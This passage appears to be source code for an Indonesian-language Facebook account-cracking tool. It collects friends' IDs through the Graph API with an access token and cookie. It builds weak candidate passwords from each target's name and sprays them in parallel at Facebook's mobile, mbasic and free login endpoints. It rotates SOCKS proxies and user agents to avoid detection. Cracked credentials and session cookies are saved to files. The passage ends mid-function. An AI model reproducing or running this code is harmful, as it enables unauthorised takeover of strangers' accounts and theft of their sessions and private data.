- kl = input(f' [+] Masukan Idz Target Yang Ke '+str(yz)+' : ')
- uid.append(kl)
- for userr in uid:
- try:
- col = ses.get('https://graph.facebook.com/v2.0/'+userr+'?fields=friends.limit(5000)&access_token='+tokenku[0], cookies = {'cookies':cok}).json()
- for mi in col['friends']['data']:
- try:
- iso = (mi['id']+'|'+mi['name'])
- if iso in id:pass
- else:id.append(iso)
- except:continue
- except (KeyError,IOError):
- pass
- except requests.exceptions.ConnectionError:
- print(' [+] Unstable Signal ')
- exit()
- try:
- print(f' [+] Total ID Terkumpul{x} : {m}'+str(len(id)))
- setting()
- except requests.exceptions.ConnectionError:
- print(f'{x}')
- print(' [+] Unstable Signal ')
- back()
- except (KeyError,IOError):
- print(f' [+] {k} Friendship Not Public {x}')
- time.sleep(3)
- back()
- #-------------[ PENGATURAN-IDZ ]---------------#
- def setting():
- cuy = []
- cuy.append(panel(f' [bold white][[bold green]1[bold white]]. Crack Idz Lama',width=25,title=f"",style=f"{color_panel}"))
- cuy.append(panel(f' [bold white][[bold green]2[bold white]]. Crack Idz Baru',width=26,title=f"",style=f"{color_panel}"))
- cuy.append(panel(f' [bold white][[bold green]3[bold white]]. Crack Idz Acak',width=27,title=f"",style=f"{color_panel}"))
- wa.print(Columns(cuy))
- hu = input(f' [+] Pilih Urutan Idz : ')
- if hu in ['1','01']:
- for tua in sorted(id):
- id2.append(tua)
- elif hu in ['2','02']:
- muda=[]
- for bacot in sorted(id):
- muda.append(bacot)
- bcm=len(muda)
- bcmi=(bcm-1)
- for xmud in range(bcm):
- id2.append(muda[bcmi])
- bcmi -=1
- elif hu in ['3','03']:
- for bacot in id:
- xx = random.randint(0,len(id2))
- id2.insert(xx,bacot)
- else:
- print(' [+] Pilih Yang Bener Kontooll ')
- exit()
- cetak(panel(f'[bold white] [+] Apakah Anda Ingin Menampilkan Aplikasi Terkait ([bold yellow]Tidak Di Sarankan[bold white]) [bold green]y[bold white]/[bold red]n[bold white]',width=90,title=f"[bold red]•[bold yellow]•[bold green]•[bold green] Aplikasi Terkait [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- mangeak = input(' [+] Pilih : ')
- if mangeak in ['']:
- print(' [+] Pilih Yang Bener Kontol ')
- exit()
- elif mangeak in ['y','Y']:
- taplikasi.append('ya')
- else:
- taplikasi.append('no')
- urut = []
- urut.append(panel(f'[bold white][[bold green]01[/][bold white]][/] [bold white]Login With [bold green]mobile.facebook.com[bold white] [/]\n[bold white][[bold green]02[/][bold white]][/] [bold white]Login With [bold green]mbasic.facebook.com[bold white] [/]\n[bold white][[bold green]03[/][bold white]][/] [bold white]Login With [bold green]free.facebook.com[bold white] ',width=39,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Validate Method [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- urut.append(panel(f'[bold white][[bold green]04[/][bold white]][/] [bold white]Login With [bold green]mobile.facebook.com[bold white] [/]\n[bold white][[bold green]05[/][bold white]][/] [bold white]Login With [bold green]mbasic.facebook.com[bold white] [/]\n[bold white][[bold green]06[/][bold white]][/] [bold white]Login With [bold green]free.facebook.com[bold white]',width=40,title=f"[bold red]•[bold yellow]•[bold green]• [bold green]Reguler Method [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- console.print(Columns(urut))
- hc = input(f' [+] Pilih Metode : ')
- if hc in ['1','01']:
- method.append('validate1');metode = "Mobile Validate"
- elif hc in ['2','02']:
- method.append('validate2');metode = "Mbasic Validate"
- elif hc in ['3','03']:
- method.append('validate3');metode = "Free Validate"
- elif hc in ['4','04']:
- method.append('reguler1');metode = "Mobile Reguler"
- elif hc in ['5','05']:
- method.append('reguler2');metode = "Mabsic Reguler"
- elif hc in ['6','06']:
- method.append('reguler3');metode = "Free Reguler"
- else:
- method.append('validate1');metode = "Mobile Validate"
- cetak(panel(f"""[bold white] Anda berhasil Menggunakan Metode [bold yellow]{metode}[bold white], Untuk Crack Account EPEP""",width=90,padding=(0,1),style=f"{color_panel}"))
- ea = []
- ea.append(panel(f' [bold white][[bold green]1[bold white]]. Pass Otomatis',width=25,title=f"",style=f"{color_panel}"))
- ea.append(panel(f' [bold white][[bold green]2[bold white]]. Pass Gabungan',width=26,title=f"",style=f"{color_panel}"))
- ea.append(panel(f' [bold white][[bold green]3[bold white]]. Pass Manual',width=27,title=f"",style=f"{color_panel}"))
- wa.print(Columns(ea))
- pwplus=input(f' [+] {P}Pilih Sandi : ')
- if pwplus in ['03','3']:
- pwpluss.append('ya')
- pwku=input(f' [+] {P}Sandi : ')
- pwkuh=pwku.split(',')
- for xpw in pwkuh:
- pwnya.append(xpw)
- else:
- pwpluss.append('no')
- cetak(panel(f'[bold white] [+] Apakah Anda Ingin Menggunakan User-Agent Manual ([bold yellow]Tidak Di Sarankan[bold white]) [bold green]y[bold white]/[bold red]n[bold white]',width=90,title=f"[bold red]•[bold yellow]•[bold green]•[bold green] Setting User-Agent [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- uatambah = input(f' [+] Pilih : ')
- if uatambah in ['y','Ya','ya','Y']:
- ualuh.append('ya')
- bzer = input(f' [+] Masukan User-Agent : ')
- ualu.append(bzer)
- else:
- ualuh.append('tidak')
- passwrd()
- #-------------------[ BAGIAN-WORDLIST ]------------#
- def passwrd():
- global prog,des
- urut = []
- urut.append(panel(f' [bold green]%s [bold white]'%(okc),width=40,title=f"[bold green][bold red]•[bold yellow]•[bold green]• Result [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- urut.append(panel(f' [bold yellow]%s [bold white]'%(cpc),width=39,title=f"[bold red]•[bold yellow]•[bold green]• [bold yellow]Result [bold red]•[bold yellow]•[bold green]•",style=f"{color_panel}"))
- wa.print(Columns(urut))
- cetak(panel(f'\t[bold white] Mainkan Mode Pesawat Jika Tidak Ada Account Yang Masuk ! ! !',width=90,title=f"[bold green]Informasi",subtitle=f"[bold green]Proses Crack",style=f"{color_panel}"))
- prog = Progress(SpinnerColumn('clock'),TextColumn('{task.description}'),BarColumn(),TextColumn('{task.percentage:.0f}%'),TimeElapsedColumn())
- des = prog.add_task('',total=len(id2))
- with prog:
- with tred(max_workers=30) as pool:
- for yuzong in id2:
- idf,nmf = yuzong.split('|')[0],yuzong.split('|')[1].lower()
- frs = nmf.split(' ')[0]
- pwv = []
- if len(nmf)<6:
- if len(frs)<3:
- pass
- else:
- pwv.append(nmf)
- pwv.append(frs+'01')
- pwv.append(frs+'02')
- pwv.append(frs+'03')
- pwv.append(frs+'04')
- pwv.append(frs+'05')
- pwv.append(frs+'12')
- else:
- if len(frs)<3:
- pwv.append(nmf)
- else:
- pwv.append(nmf)
- pwv.append(frs+'321')
- pwv.append(frs+'123')
- pwv.append(frs+'1234')
- pwv.append(frs+'12345')
- pwv.append(frs+'123456')
- if 'ya' in pwpluss:
- for xpwd in pwnya:
- pwv.append(xpwd)
- else:pass
- if 'validate1' in method:
- pool.submit(validate1,idf,pwv)
- elif 'validate2' in method:
- pool.submit(validate2,idf,pwv)
- elif 'validate3' in method:
- pool.submit(validate3,idf,pwv)
- elif 'reguler1' in method:
- pool.submit(reguler1,idf,pwv)
- elif 'reguler2' in method:
- pool.submit(reguler2,idf,pwv)
- elif 'reguler3' in method:
- pool.submit(reguler3,idf,pwv)
- else:
- pool.submit(validate1,idf,pwv)
- print('')
- print(f' Crack Telah Selesai Sayang')
- print(f' [{h}•{x}]{h} OK : {h}%s '%(ok))
- print(f'{x} [{h}•{x}]{k} CP : {k}%s{x} '%(cp))
- #--------------------[ METODE VALIDATE ]-----------------#
- def validate1(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}Mobile{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks4://'+nip}
- ses.headers.update({'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://m.facebook.com/login.php?skip_api_login=1&api_key=113289095462482&kid_directed_site=0&app_id=113289095462482&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'm.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://m.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://m.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv8.0%2Fdialog%2Foauth%3Fresponse_type%3Dcode%26client_id%3D113289095462482%26scope%3Demail%252Cpublic_profile%26redirect_uri%3Dhttps%253A%252F%252Fzoom.us%252Ffacebook%252Foauth%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%26_x_zm_rtaid%3DcVJiy3uGSbSvWr-DDSZNng.1679058723947.4bc348f596f10457902323ef31509d67%26_x_zm_rhtaid%3D542%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D516d7f95-093f-4513-847e-788f90c4cbd5%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fzoom.us%2Ffacebook%2Foauth%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3DR0dyYTRzQmhUUzJ4Zk9Xc1pFd3NOdyxmYWNlYm9va19zaWduaW4%23_%3D_&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://m.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- cp+=1
- tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- break
- elif 'ya' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- def validate2(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}Mbasic{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://mbasic.facebook.com/login.php?skip_api_login=1&api_key=847163265704696&kid_directed_site=0&app_id=847163265704696&signed_next=1&next=https%3A%2F%2Fm.facebook.com%2Fv3.0%2Fdialog%2Foauth%3Fapp_id%3D847163265704696%26auth_type%3Dreauthenticate%26cbt%3D1674928653775%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df17636995ac9aec%2526domain%253Dpointblank.id%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fpointblank.id%25252Ff16a2a2e946bba%2526relation%253Dopener%26client_id%3D847163265704696%26display%3Dtouch%26domain%3Dpointblank.id%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fpointblank.id%252Flogin%252Fform%26locale%3Did_ID%26logger_id%3Df2322edaf71d6e4%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df255f84c0ecb374%2526domain%253Dpointblank.id%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fpointblank.id%25252Ff16a2a2e946bba%2526relation%253Dopener%2526frame%253Df15985874805d6%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26return_scopes%3Dtrue%26scope%3Demail%252Cpublic_profile%26sdk%3Djoey%26version%3Dv3.0%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df255f84c0ecb374%26domain%3Dpointblank.id%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fpointblank.id%252Ff16a2a2e946bba%26relation%3Dopener%26frame%3Df15985874805d6%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'mbasic.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://mbasic.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://mbasic.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fm.facebook.com%2Fv2.3%2Fdialog%2Foauth%3Fapp_id%3D124024574287414%26cbt%3D1651658200978%26e2e%3D%257B%2522init%2522%253A1651658200978%257D%26sso%3Dchrome_custom_tab%26scope%3Demail%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D%26redirect_uri%3Dfbconnect%253A%252F%252Fcct.com.instathunder.app%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%252Cgranted_scopes%26return_scopes%3Dtrue%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D68f15bae-23f8-463c-8660-5cf1226d97f6%26tp%3Dunspecified&cancel_url=fbconnect%3A%2F%2Fcct.com.instathunder.app%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%25220_auth_logger_id%2522%253A%252268f15bae-23f8-463c-8660-5cf1226d97f6%2522%252C%25227_challenge%2522%253A%2522dahj28hqtietmhrgprpp%2522%252C%25223_method%2522%253A%2522custom_tab%2522%257D&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'}
- po = ses.post('https://mbasic.facebook.com/login/device-based/validate-password/?shbl=0&locale2=id_ID',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- cp+=1
- tree = Tree(Panel.fit(f"""[bold yellow]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold yellow]{ua}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('CP/'+cpc,'a').write(idf+'|'+pw+'\n')
- akun.append(idf+'|'+pw)
- break
- elif "c_user" in ses.cookies.get_dict().keys():
- if 'no' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- break
- elif 'ya' in taplikasi:
- ok+=1
- coki=po.cookies.get_dict()
- kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ])
- tree = Tree(Panel.fit(f"""[bold green]{idf}|{pw}[bold white]""",style=f"{color_panel}"),guide_style="bold grey100")
- tree.add(Panel(f"[bold green]{kuki}[bold white]",style=f"{color_panel}"))
- prints(tree)
- open('OK/'+okc,'a').write(idf+'|'+pw+'|'+ua+'\n')
- cek_apk(kuki)
- break
- else:
- continue
- except requests.exceptions.ConnectionError:
- time.sleep(31)
- loop+=1
- def validate3(idf,pwv):
- global loop,ok,cp
- bo = random.choice([m,k,h,b,u,x])
- ua = random.choice(ugen)
- ua2 = random.choice(ugen2)
- ses = requests.Session()
- prog.update(des,description=f"{h}Free{x} {loop}/{len(id)} OK-:[bold green]{ok}[/] CP-:[bold yellow]{cp}[/]")
- prog.advance(des)
- for pw in pwv:
- try:
- if 'ya' in ualuh: ua = ualu[0]
- nip=random.choice(prox)
- proxs= {'http': 'socks5://'+nip}
- ses.headers.update({'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua-mobile': '?1','upgrade-insecure-requests': '1','user-agent': ua2,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'})
- p = ses.get('https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&next=https%3A%2F%2Fmobile.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fapp_id%3D1722713787887984%26cbt%3D1676027180738%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df363b0a73c19804%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%26client_id%3D1722713787887984%26display%3Dtouch%26domain%3Dwww.bilibili.tv%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Fid%252F%26locale%3Den_US%26logger_id%3Df3d20d066ff6254%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df14522bfee17014%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%2526frame%253Df185d306bc50d08%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv14.0%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df14522bfee17014%26domain%3Dwww.bilibili.tv%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Ff20019dbd9069f8%26relation%3Dopener%26frame%3Df185d306bc50d08%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdc=1&_rdr')
- dataa ={"lsd":re.search('name="lsd" value="(.*?)"', str(p.text)).group(1),"jazoest":re.search('name="jazoest" value="(.*?)"', str(p.text)).group(1),"uid":idf,"next":"https://free.facebook.com/login.php?skip_api_login=1&api_key=1722713787887984&kid_directed_site=0&app_id=1722713787887984&signed_next=1&next=https%3A%2F%2Fmobile.facebook.com%2Fv14.0%2Fdialog%2Foauth%3Fapp_id%3D1722713787887984%26cbt%3D1676027180738%26channel_url%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df363b0a73c19804%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%26client_id%3D1722713787887984%26display%3Dtouch%26domain%3Dwww.bilibili.tv%26e2e%3D%257B%257D%26fallback_redirect_uri%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Fid%252F%26locale%3Den_US%26logger_id%3Df3d20d066ff6254%26origin%3D2%26redirect_uri%3Dhttps%253A%252F%252Fstaticxx.facebook.com%252Fx%252Fconnect%252Fxd_arbiter%252F%253Fversion%253D46%2523cb%253Df14522bfee17014%2526domain%253Dwww.bilibili.tv%2526is_canvas%253Dfalse%2526origin%253Dhttps%25253A%25252F%25252Fwww.bilibili.tv%25252Ff20019dbd9069f8%2526relation%253Dopener%2526frame%253Df185d306bc50d08%26response_type%3Dtoken%252Csigned_request%252Cgraph_domain%26sdk%3Djoey%26version%3Dv14.0%26ret%3Dlogin%26fbapp_pres%3D0%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fstaticxx.facebook.com%2Fx%2Fconnect%2Fxd_arbiter%2F%3Fversion%3D46%23cb%3Df14522bfee17014%26domain%3Dwww.bilibili.tv%26is_canvas%3Dfalse%26origin%3Dhttps%253A%252F%252Fwww.bilibili.tv%252Ff20019dbd9069f8%26relation%3Dopener%26frame%3Df185d306bc50d08%26error%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied&display=touch&locale=id_ID&pl_dbl=0&refsrc=deprecated&_rdc=1&_rdr","flow":"login_no_pin","pass":pw,}
- koki = (";").join([ "%s=%s" % (key, value) for key, value in p.cookies.get_dict().items() ])
- koki+=' m_pixel_ratio=2.625; wd=412x756'
- heade={'Host': 'free.facebook.com','cache-control': 'max-age=0','sec-ch-ua': '" Not A;Brand";v="99", "Chromium";v="98"','sec-ch-ua-mobile': '?1','sec-ch-ua-platform': '"Android"','upgrade-insecure-requests': '1','origin': 'https://free.facebook.com','content-type': 'application/x-www-form-urlencoded','user-agent': ua,'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9','x-requested-with': 'XMLHttpRequest','sec-fetch-site': 'same-origin','sec-fetch-mode': 'cors','sec-fetch-dest': 'empty','referer': 'https://free.facebook.com/login/device-based/password/?uid='+idf+'&flow=login_no_pin&refsrc=deprecated&_rdr','accept-encoding': 'gzip, deflate, br','accept-language': 'ms-MY,ms;q=0.9,en-US;q=0.8,en;q=0.7','connection': 'close'}
- po = ses.post('https://free.facebook.com/login/device-based/validate-password/?shbl=0',data=dataa,cookies={'cookie': koki},headers=heade,allow_redirects=False,proxies=proxs)
- if "checkpoint" in po.cookies.get_dict().keys():
- cp+=1
